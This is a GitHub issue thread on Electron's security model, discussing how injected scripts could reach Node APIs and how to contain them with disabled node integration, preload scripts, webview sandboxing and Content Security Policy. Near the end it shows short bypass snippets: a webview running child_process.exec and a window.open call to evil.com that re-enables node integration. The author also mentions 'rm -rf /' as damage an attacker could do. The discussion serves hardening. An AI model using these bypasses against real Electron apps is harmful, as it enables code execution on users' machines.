Skip to content

Electron's security model and injected scripts #1753

Closed

Description

@arturadib

If an attacker manages to inject a <script> tag in an Electron app (for example because the app failed to sanitize user input stored in a remote server), it seems like they would have nearly absolute control over the victim's machine. For example, they could require('fs') and do whatever they want with the victim's file system, e.g. destroy their home folder, snoop on sensitive data, etc.

In the database world, injection is mitigated not only through input sanitization, but also by ensuring the user has the least permissions possible so that in the event an injection slips through, the damage is limited. (E.g. read-only permissions, or permissions limited to specific tables, etc).

Alas, it looks like Electron doesn't offer a security model to prevent/mitigate such script injections?

Turning off node-integration would solve the issue, but would also defeat one of the central purposes of Electron (i.e. providing non-web functions). IPC in principle could be used to expose only a limited set of capabilities, but as explained in #456 there's no way to use ipc without enabling require() for all Node core modules.

Am I missing something? Thanks!

Activity

  1. anaisbetts commented on May 22, 2015

    @anaisbetts
    Contributor

    You are missing the WebView tag, which allows you to sandbox remote content: https://github.com/atom/electron/blob/master/docs/api/web-view-tag.md. You can use a preload script to set up a set of APIs that are available to the guest content that has access to node, but once the page starts loading that content will only have access to what you have provided

  2. arturadib commented on May 22, 2015

    @arturadib
    Author

    Ha, didn't know about preload. It looks like BrowserWindow takes a preload param too, so it seems we could even run the whole window with node-integration: false, and just expose the necessary APIs via a preload script.

    Can y'all think of other security risks with this?

  3. anaisbetts commented on May 22, 2015

    @anaisbetts
    Contributor

    The only other risk is being careful how you store variables, if you save off process as a property of a class you expose to the guest, you've effectively defeated the protection that WebView provides. If you really need to hide something, you can use v8util's get/setHiddenValue: https://github.com/atom/electron/blob/e98953a5a563648a69b6cb8535d1f27febeec887/atom/renderer/api/lib/ipc.coffee#L5

  4. arturadib commented on May 22, 2015

    @arturadib
    Author

    I'm thinking the most secure solution is to block off node-integration in the browser window altogether and offer up the API through a protocol e.g. myapp://. Seems like this has the smallest attack surface?

  5. anaisbetts commented on May 22, 2015

    @anaisbetts
    Contributor

    Seems like overkill to me

  6. arturadib commented on May 22, 2015

    @arturadib
    Author

    Why is it an overkill, Electron's protocol API is pretty trivial.. Also ain't no such thing as an overkill when the risk is running untrusted code with full Node core access!

  7. baconbrad commented on May 22, 2015

    @baconbrad
    Contributor

    I think he is talking more of the lines of blacklisting everything from using it and only certain things can use it once whitelisted. Kind of like how NW.js integrates it.

    In the meantime if your web app does not need to use node at all you can use the web view tag as if it where an Iframe. Make it 100% width and height and have your app run in there. Otherwise I think node.js on the front end needs to be handled just like node.js on the back end where you the developer of the app needs to take responsibility in not letting it happen through methods of sanitation, etc. Kinda like an electrician needing to act like all wires could be hot. We need to act like all exploits could be possible.

  8. zcbenz commented on May 23, 2015

    @zcbenz
    Contributor

    Related issue: atom/atom#1763, we also have a GSoC project on this.

  9. maxkueng commented on May 28, 2015

    @maxkueng

    @arturadib:

    It looks like BrowserWindow takes a preload param too, so it seems we could even run the whole window with node-integration: false, and just expose the necessary APIs via a preload script.

    The WebView documentation says:

    When the guest page doesn't have node integration this script will still have access to all Node APIs, but global objects injected by Node will be deleted after this script has done execution.

    I assume BrowserWindow works the same? So this doesn't work. I even tried injecting a preload script that exposes an object like this: window.something = { an: 'object', withSome: function s () {} }; but if I turn off node-integration the object is isn't available to the page.

    Preload scripts would be a cool way to expose an API to the content page but turn off access to any other Electron APIs. It would also resolve require conflicts.

    Edit: I've just made an interesting discovery.

    This doesn't work:

    var myApi = { an: 'object', withSome: function s () {} };

    This also doesn't work:

    window.myApi = { an: 'object', withSome: function s () {} };

    But this works (no var statement) partially:

    myApi = { an: 'object', withSome: function s () {} };

    The myApi object is available to the content but when the preload script tries to access an Electron global it can't access it:

    // preload script
    myApi = {
      crash: function () {
        process.crash();
      }
    };
    
    // content
    myApi.crash();

    myApi.crash(); dies with "Uncaught ReferenceError: process is not defined".

  10. zcbenz commented on May 29, 2015

    @zcbenz
    Contributor

    By the time preload script is loaded, window object is not ready yet, you can use global.myApi instead.

    For the process object, you should keep a local reference of process in the script because the global one would be deleted then:

    var process = global.process;
  11. maxkueng commented on May 30, 2015

    @maxkueng

    Thank you.

    I'm doing something like that now that works well. Storing process in atom.process keeps it available within the preload script but since the atom uses the var statement it doesn't expose it to the rest of the app. It's pretty cool.

    // preload script
    var atom = {
      process: process,
      // ... more things
    };
    
    myApi = {
      crash: function () {
        atom.process.crash();
      }
    };
    
    // content
    myApi.crash();
  12. arturadib commented on May 30, 2015

    @arturadib
    Author

    The preload security model is pretty fragile – as pointed out above, you need to keep a reference to the necessary Node APIs in the exposed objects, so it puts a large burden on developers to ensure those references don't leak. All it takes is one slip for an attacker to run rm -rf / on your users' machines...

    I'm still thinking the safest solution is to only expose non-web APIs through the protocol API.

  13. gruebait commented on Sep 4, 2015

    @gruebait

    Agree with @arturadib; anything less here is playing with fire. It also may be unwise to assume future devs will be "security conscious" in any way, shape, or form. The more popular Electron becomes, the more dangerous that assumption becomes. IMO the simple best solution here is max security by default, with explicit alternatives for developers who need more power.

  14. anaisbetts commented on Sep 4, 2015

    @anaisbetts
    Contributor

    IMO the simple best solution here is max security by default, with explicit alternatives for developers who need more power.

    The simplest best solution is to not run remote content at all and only load local content.

  15. arturadib commented on Sep 5, 2015

    @arturadib
    Author

    The simplest best solution is to not run remote content at all and only load local content.

    It's not about deliberately running remote content. It's about accidentally running remote content. For example, a chat app may be entirely written locally, but it still needs to display remote content.

    In this case, do we really want to make the user's entire security depend on the escaping of content, or do we want to borrow hard lessons learned from the database world where escaping–just in case it's missed–is also accompanied by restrictive access to ensure queries only have the absolute necessary permissions?

    The current security model for exposing main process APIs to the renderer process (i.e. preload scripts) is fragile because it puts a large burden on developers to ensure main process objects don't leak, such as fs, etc.

    A much more robust model is to only expose e.g. ipc to the preload script. That way the only thing that can possibly leak is ipc itself, which minimizes the surface of attack to only those remote procedures actually implemented by the developer on the main process.

  16. zcbenz commented on Sep 6, 2015

    @zcbenz
    Contributor

    The current security model for exposing main process APIs to the renderer process (i.e. preload scripts) is fragile because it puts a large burden on developers to ensure main process objects don't leak, such as fs, etc.

    The symbols exposed in preload script do not leak to the page unless you explicitly do that by storing the symbols to window, I think it is not a so large burden?

    Only exposing ipc module is not 100% secure too, the remote module is implemented with ipc under the hood, and if you can control which messages are sent to the main process, you are able to control everything.

  17. matthiasg commented on Nov 17, 2015

    @matthiasg

    @zcbenz how do i expose something to window ? i though the window object isnt ready at the time the preload script runs ?

  18. matthiasg commented on Nov 17, 2015

    @matthiasg

    ok .. it seems the wiki is unclear. The parameter is not yet webPreferences but web-preferences and its not preload but preload-url as stated.

    so it works with:

      mainWindow = new BrowserWindow({
        width: 800,
        height: 600,
        'web-preferences': {
          'node-integration': false,
          'preload-url': 'file://' + path.join(__dirname, 'expose-window-apis.js')
        }
      });
    

    expose-window-apis.js

    var hostProcess = process;
    var hostRequire = require;
    
    process.once('loaded', function(){
    
      global.host = {
        process: hostProcess,
        crash: function () {
          hostProcess.crash();
        },
      };
    
      global.host.ipc = hostRequire('ipc');   
    });
    
    
  19. etiktin commented on Nov 17, 2015

    @etiktin
    Contributor

    @matthiasg the docs are for the current master branch and in v0.35.0 the option names changed, so if you're using an older version you need to use the dashed options. To find the docs for your version just edit the following url and replace v0.34.3 with your version:
    https://github.com/atom/electron/tree/v0.34.3/docs

    You don't need to use preload-url, use preload and pass it the absolute path to your script and not a file url. So in your case it should be 'preload': path.join(__dirname, 'expose-window-apis.js').

  20. matthiasg commented on Nov 18, 2015

    @matthiasg

    @etiktin thanks that works too.

  21. seanchas116 commented on Dec 28, 2015

    @seanchas116
    Contributor

    By the way, it seems that you can inject scripts with full Node API access even if Node integration is disabled using <webview> tags.

    Example (details in #3921):

    <webview
      nodeintegration
      src="data:text/html,<script>require('child_process').exec('atom package.json')</script>">
    </webview>
  22. wearhere commented on Jan 8, 2016

    @wearhere
    Contributor

    Node integration can also be re-enabled for new windows (#4026):

    // JavaScript on 'evil.com' will be able to `require('fs')` etc.
    window.open('http://evil.com', '', 'nodeIntegration=1');
  23. bengotow commented on Jan 29, 2016

    @bengotow
    Contributor

    Hey folks—just wanted to chime in because this was brought up in an N1 issue. I'm curious if anyone could elaborate on this:

    It's not about deliberately running remote content. It's about accidentally running remote content. For example, a chat app may be entirely written locally, but it still needs to display remote content.

    In N1, we use a script-src 'self' Content Security Policy to block all remote and inline script tags. I figured that was enough to rule out "accidentally running remote content" (where that content is determined to be a script). An attacker might be able to get a <script> tag into the body of the page, but that script tag should be blocked. Are there any loopholes we need to think about if we already have a strict CSP?

  24. diracdeltas commented on Feb 10, 2016

    @diracdeltas
    Contributor

    In case it is of interest to anyone, Brave's fork of Electron re-enables the sandbox for renderers that don't run node. https://github.com/brave/electron/pull/12/files

  25. wearhere commented on Feb 10, 2016

    @wearhere
    Contributor

    @diracdeltas I imagine that prevents even preload scripts from using Node APIs though?

  26. etiktin commented on Feb 10, 2016

    @etiktin
    Contributor

    @wearhere the sandboxing is enabled only if there's no node integration and no preload script. So it should be fine.

  27. zcbenz commented on May 6, 2016

    @zcbenz
    Contributor

    I'm closing this since the security problems discussed here had been divided into separate issues.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions